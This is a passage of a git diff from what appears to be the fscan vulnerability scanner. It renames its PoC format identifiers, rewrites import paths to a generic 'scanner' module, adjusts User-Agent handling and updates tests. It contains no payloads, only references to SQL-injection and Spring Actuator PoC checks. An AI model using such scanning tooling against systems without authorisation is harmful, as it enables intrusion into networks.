"C:\\Users\\29037\\GolandProjects\\fscan\\webscan\\pocs\\74cms-sqli-1.yml", - expected: FormatFscan, + expected: FormatNative, }, { name: "xray格式", diff --git a/webscan/lib/poc_adapter_test.go b/webscan/lib/poc_adapter_test.go index c6dbe68f..258f0fe9 100644 --- a/webscan/lib/poc_adapter_test.go +++ b/webscan/lib/poc_adapter_test.go @@ -22,7 +22,7 @@ rules: - method: GET path: /test `, - expected: FormatFscan, + expected: FormatNative, }, { name: "fscan格式 - 有name和groups", @@ -33,7 +33,7 @@ groups: - method: GET path: /test `, - expected: FormatFscan, + expected: FormatNative, }, { name: "Nuclei格式 - 有id和info", @@ -70,8 +70,8 @@ data: test } } -// TestFscanPocAdapter 测试fscan格式适配器 -func TestFscanPocAdapter(t *testing.T) { +// TestNativePocAdapter 测试fscan格式适配器 +func TestNativePocAdapter(t *testing.T) { yaml := ` name: poc-yaml-test-fscan set: @@ -87,22 +87,22 @@ detail: - https://example.com ` - adapter, err := loadFscanPoc([]byte(yaml)) + adapter, err := loadNativePoc([]byte(yaml)) if err != nil { - t.Fatalf("loadFscanPoc() error = %v", err) + t.Fatalf("loadNativePoc() error = %v", err) } - if adapter.GetFormat() != FormatFscan { - t.Errorf("GetFormat() = %v, want %v", adapter.GetFormat(), FormatFscan) + if adapter.GetFormat() != FormatNative { + t.Errorf("GetFormat() = %v, want %v", adapter.GetFormat(), FormatNative) } if adapter.GetName() != "poc-yaml-test-fscan" { t.Errorf("GetName() = %v, want %v", adapter.GetName(), "poc-yaml-test-fscan") } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Name != "poc-yaml-test-fscan" { @@ -157,9 +157,9 @@ http: t.Errorf("GetName() = %v, want %v", adapter.GetName(), "Test Nuclei Template") } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Name != "Test Nuclei Template" { @@ -223,9 +223,9 @@ http: if err != nil { t.Fatalf("loadNucleiPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Detail.Author != "alice, bob" { t.Fatalf("Author = %q, want alice, bob", poc.Detail.Author) @@ -256,9 +256,9 @@ rules: if err != nil { t.Fatalf("loadAfrogPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if poc.Detail.Author != "carol" { t.Fatalf("Author = %q, want carol", poc.Detail.Author) @@ -508,7 +508,7 @@ rules: - method: GET path: /test `, - wantType: FormatFscan, + wantType: FormatNative, wantErr: false, }, { @@ -550,12 +550,12 @@ unknown: format } // 验证转换为fscan格式 - fscanPoc, err := poc.ToFscanPoc() + fscanPoc, err := poc.ToNativePoc() if err != nil { - t.Errorf("ToFscanPoc() error = %v", err) + t.Errorf("ToNativePoc() error = %v", err) } if fscanPoc == nil { - t.Error("ToFscanPoc() returned nil") + t.Error("ToNativePoc() returned nil") } } }) @@ -596,9 +596,9 @@ detail: t.Fatalf("loadXrayPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 2 { @@ -647,9 +647,9 @@ detail: t.Fatalf("loadXrayPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 1 { @@ -694,9 +694,9 @@ rules: t.Fatalf("loadAfrogPoc() error = %v", err) } - poc, err := adapter.ToFscanPoc() + poc, err := adapter.ToNativePoc() if err != nil { - t.Fatalf("ToFscanPoc() error = %v", err) + t.Fatalf("ToNativePoc() error = %v", err) } if len(poc.Rules) != 2 { diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 2e63c6cd..bd14b78c 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -17,10 +17,10 @@ import ( "time" "github.com/google/cel-go/common/types/ref" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/webscan/fingerprint" + "scanner/common" + "scanner/common/i18n" + "scanner/common/output" + "scanner/webscan/fingerprint" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" ) diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index d5ea0696..389f2ad2 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -8,8 +8,8 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" + "scanner/common" + "scanner/common/output" ) // ============================================================================= diff --git a/webscan/lib/spring_actuator_poc_test.go b/webscan/lib/spring_actuator_poc_test.go index 75fbdfbc..2900528b 100644 --- a/webscan/lib/spring_actuator_poc_test.go +++ b/webscan/lib/spring_actuator_poc_test.go @@ -10,7 +10,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestSpringActuatorSensitiveEndpointPoc(t *testing.T) { diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 2f2944ba..88598821 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -15,10 +15,10 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/config" + "scanner/common/i18n" + "scanner/webscan/lib" ) // 常量定义 @@ -261,7 +261,7 @@ func createBaseRequest(ctx context.Context, target string, cfg *common.Config) ( } // 设置请求头 - req.Header.Set("User-agent", cfg.HTTP.UserAgent) + req.Header.Set("User-Agent", common.HTTPUserAgent(cfg)) req.Header.Set("Accept", cfg.HTTP.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if cfg.HTTP.Cookie != "" { diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index cdf31129..9f71d103 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -4,9 +4,9 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/config" + "scanner/webscan/lib" ) func TestEmbeddedPocsArePreparedAtLoadTime(t *testing.T) { @@ -478,7 +478,7 @@ func TestFilterPocsNilSafety(t *testing.T) { func TestCreateBaseRequestHeaders(t *testing.T) { cfg := common.NewConfig() - cfg.HTTP.UserAgent = "fscan-test-agent" + cfg.HTTP.UserAgent = "test-agent" cfg.HTTP.Accept = "application/json" cfg.HTTP.Cookie = "sid=abc" @@ -489,7 +489,7 @@ func TestCreateBaseRequestHeaders(t *testing.T) { if req.Method != "GET" { t.Fatalf("method = %q, want GET", req.Method) } - if got := req.Header.Get("User-agent"); got != "fscan-test-agent" { + if got := req.Header.Get("User-agent"); got != "test-agent" { t.Fatalf("User-agent = %q", got) } if got := req.Header.Get("Accept"); got != "application/json" {